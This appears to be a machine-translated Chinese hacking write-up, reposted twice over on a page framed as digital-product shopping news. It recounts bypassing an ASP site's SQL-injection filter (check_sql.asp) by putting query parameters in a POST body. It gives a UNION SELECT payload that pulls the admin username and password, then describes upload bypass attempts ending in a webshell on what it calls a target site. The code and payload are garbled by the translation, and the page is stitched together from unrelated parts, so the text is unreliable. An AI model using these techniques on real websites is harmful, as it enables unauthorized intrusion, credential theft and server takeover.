数码资讯
使用请求对象的数据包解析漏洞绕过注入程序
注释:使用请求对象的数据包漏洞来绕过注入程序,想要学习安全的朋友可以参考它。 今天是看他们的站的无聊,打开ASP企业站场地,几个环节看,看不出有什么程序,然后扫了扫出一个目录upload_photo.asp这个文件是用于无组件上传两恐惧或存在,文件上传漏洞,试图绕过登录cookie欺骗不幸的是没有检
选购提示
关注价格、性能、续航、售后和真实使用场景,理性比较后再下单。
注释:使用请求对象的数据包漏洞来绕过注入程序,想要学习安全的朋友可以参考它。
今天是看他们的站的无聊,打开ASP企业站场地,几个环节看,看不出有什么程序,然后扫了扫出一个目录upload_photo.asp这个文件是用于无组件上传两恐惧或存在,文件上传漏洞,试图绕过登录cookie欺骗不幸的是没有检测到看来,把洞填满,虽然这是一个老的程序,过了这么多年,经过无数次的黑色,有些洞了。找到一个类似的企业站程序下载在互联网上,发现downloadshow.asp注射是通过check_sql.asp文件实现的,这个程序很好的看看看你是否可以绕过本地搭建测试环境,以下是这check_sql.asp内容
复制代码代码如下所示:
<
昏暗的query_badword,form_badword,我err_message,err_web,名字
头---------------------------------------------------------------------- ------定义部分
err_message = 1的处理:1 =提示信息,2页,3 =第一个提示然后转
err_web =犯错。ASP 错误的翻页
query_badword = 和选择更新CHR 删除% 20from ;插入中大师。集CHR(37)=
在这个部分中,定义了获取非法参数,使用间隔。
form_badword =#×% ()= 的界定非法参数后,使用间隔
------定义-----------------------------------------------------------------------尾部
'
下次继续出错
关于获取过滤器的查询值。
如果请求。QueryString <> 然后
response.write查询:request.querystring
chk_badword =分裂(query_badword,)
每个query_name在request.querystring
我= 0,UBound(chk_badword)
如果仪器(1例(request.querystring(query_name)),chk_badword(I))< > 0
response.write request.querystring(query_name)关键词chk_badword(我)
选择案例err_message
案例1
响应写入传递参考错误!参数的值name 包含非法字符串!请不要在参数中出现:更新删除;插入中间主机和其他非法字符
案例2
响应。写
案例3
响应。写
最后选择
反应结束
最后如果
下一个
下一个
最后如果
关于滤波器的后形式值。
如果请求,则形成然后
chk_badword =分裂(form_badword,)
对于请求中的每个名称。
我= 0,UBound(chk_badword)
如果仪器(1例(要求表单(名字)),chk_badword(I))< > 0
response.write要求表单(名称)关键词chk_badword(我)
选择案例err_message
案例1
回应。写错误!表单的值包含一个非法字符串!请不要在表单中显示:% * #(非法字符)!
案例3
回应。写错误!参数的值包含一个非法字符串!please do not appear in the form:% * # (illegal character)!
最后选择
反应结束
最后如果
下一个
下一个
最后如果
%>
可以看出,在过滤发送的参数得到的要求是非常严格的,但它只滤波器的参数邮寄一些符号,这是很好的规避。但downloadshow.asp只接受发送的参数获取。我们如何绕过这个在这里,我们使用ASP和aspx,请求对象是包分析漏洞,内容发送下面的表格,并请求对象仍然可以得到正确的值。
得到/ downloadshow.asp HTTP / 1.1
主持人:xxxxxxxxxxxxxxxx
内容长度:XX
内容类型:xxxxxxxxxxxxxxxxxx
ID = 111
的要求和downloadshow.asp使用(ID)仍然可以获得身份的正确值,得到 / downloadshow。Aspid = 111,直接的影响是相同的,但在这种情况下,上述SQL注入检测程序,但将这些数据后提交的数据,再加上检测不到位,有SQL注入漏洞,如下图所示:
这里的诀窍是,hackbar使用Firefox的插件可以很容易地添加到数据后。
好的地方成功,我们得到目标站尝试效果。
来downloadshow.asp页面提交后的数据
ID = 7% 20union % % % % 201% 20select 2cusername 2C3 2C4 % % % % 2cpassword 2C5 2C6 2C8 % % % % 2cpassword 2C0 2C11 % % % 20admin 20from 2c13 2C12
直接从管理员的用户名密码中退出
然后是一个底壳,现在我们的管理员发现,登录,我们会努力上传文件的双重悲剧背后的方法与周围的后缀后缀检测空间无效,而ASP ASA aspx检测恐惧会上传表单3后缀,然后ASP站可以试试CER的悲剧是,CER不支持本站..还看到一个数据库的备份,看到数据库的路径和名称不能使用Firebug重写正确的图片路径上传备份文件,然后填写1.asp提交,当地抓住路径发现原来的数据库包没有提交条目无言以对hellip;hellip;正如我起初是垃圾站经过那么多年说是黑色的,各种小洞填充..尝试其他脚本上传一个PHP,但服务器支持PHP,shell就在手上。
今天是看他们的站的无聊,打开ASP企业站场地,几个环节看,看不出有什么程序,然后扫了扫出一个目录upload_photo.asp这个文件是用于无组件上传两恐惧或存在,文件上传漏洞,试图绕过登录cookie欺骗不幸的是没有检测到看来,把洞填满,虽然这是一个老的程序,过了这么多年,经过无数次的黑色,有些洞了。找到一个类似的企业站程序下载在互联网上,发现downloadshow.asp注射是通过check_sql.asp文件实现的,这个程序很好的看看看你是否可以绕过本地搭建测试环境,以下是这check_sql.asp内容
复制代码代码如下所示:
<
昏暗的query_badword,form_badword,我err_message,err_web,名字
头---------------------------------------------------------------------- ------定义部分
err_message = 1的处理:1 =提示信息,2页,3 =第一个提示然后转
err_web =犯错。ASP 错误的翻页
query_badword = 和选择更新CHR 删除% 20from ;插入中大师。集CHR(37)=
在这个部分中,定义了获取非法参数,使用间隔。
form_badword =#×% ()= 的界定非法参数后,使用间隔
------定义-----------------------------------------------------------------------尾部
'
下次继续出错
关于获取过滤器的查询值。
如果请求。QueryString <> 然后
response.write查询:request.querystring
chk_badword =分裂(query_badword,)
每个query_name在request.querystring
我= 0,UBound(chk_badword)
如果仪器(1例(request.querystring(query_name)),chk_badword(I))< > 0
response.write request.querystring(query_name)关键词chk_badword(我)
选择案例err_message
案例1
响应写入传递参考错误!参数的值name 包含非法字符串!请不要在参数中出现:更新删除;插入中间主机和其他非法字符
案例2
响应。写
案例3
响应。写
最后选择
反应结束
最后如果
下一个
下一个
最后如果
关于滤波器的后形式值。
如果请求,则形成然后
chk_badword =分裂(form_badword,)
对于请求中的每个名称。
我= 0,UBound(chk_badword)
如果仪器(1例(要求表单(名字)),chk_badword(I))< > 0
response.write要求表单(名称)关键词chk_badword(我)
选择案例err_message
案例1
回应。写错误!表单的值包含一个非法字符串!请不要在表单中显示:% * #(非法字符)!
案例3
回应。写错误!参数的值包含一个非法字符串!please do not appear in the form:% * # (illegal character)!
最后选择
反应结束
最后如果
下一个
下一个
最后如果
%>
可以看出,在过滤发送的参数得到的要求是非常严格的,但它只滤波器的参数邮寄一些符号,这是很好的规避。但downloadshow.asp只接受发送的参数获取。我们如何绕过这个在这里,我们使用ASP和aspx,请求对象是包分析漏洞,内容发送下面的表格,并请求对象仍然可以得到正确的值。
得到/ downloadshow.asp HTTP / 1.1
主持人:xxxxxxxxxxxxxxxx
内容长度:XX
内容类型:xxxxxxxxxxxxxxxxxx
ID = 111
的要求和downloadshow.asp使用(ID)仍然可以获得身份的正确值,得到 / downloadshow。Aspid = 111,直接的影响是相同的,但在这种情况下,上述SQL注入检测程序,但将这些数据后提交的数据,再加上检测不到位,有SQL注入漏洞,如下图所示:
这里的诀窍是,hackbar使用Firefox的插件可以很容易地添加到数据后。
好的地方成功,我们得到目标站尝试效果。
来downloadshow.asp页面提交后的数据
ID = 7% 20union % % % % 201% 20select 2cusername 2C3 2C4 % % % % 2cpassword 2C5 2C6 2C8 % % % % 2cpassword 2C0 2C11 % % % 20admin 20from 2c13 2C12
直接从管理员的用户名密码中退出
然后是一个底壳,现在我们的管理员发现,登录,我们会努力上传文件的双重悲剧背后的方法与周围的后缀后缀检测空间无效,而ASP ASA aspx检测恐惧会上传表单3后缀,然后ASP站可以试试CER的悲剧是,CER不支持本站..还看到一个数据库的备份,看到数据库的路径和名称不能使用Firebug重写正确的图片路径上传备份文件,然后填写1.asp提交,当地抓住路径发现原来的数据库包没有提交条目无言以对hellip;hellip;正如我起初是垃圾站经过那么多年说是黑色的,各种小洞填充..尝试其他脚本上传一个PHP,但服务器支持PHP,shell就在手上。
声明:本文内容用于数码产品信息整理与选购参考,具体价格、库存、售后政策以官方渠道和电商页面实时信息为准。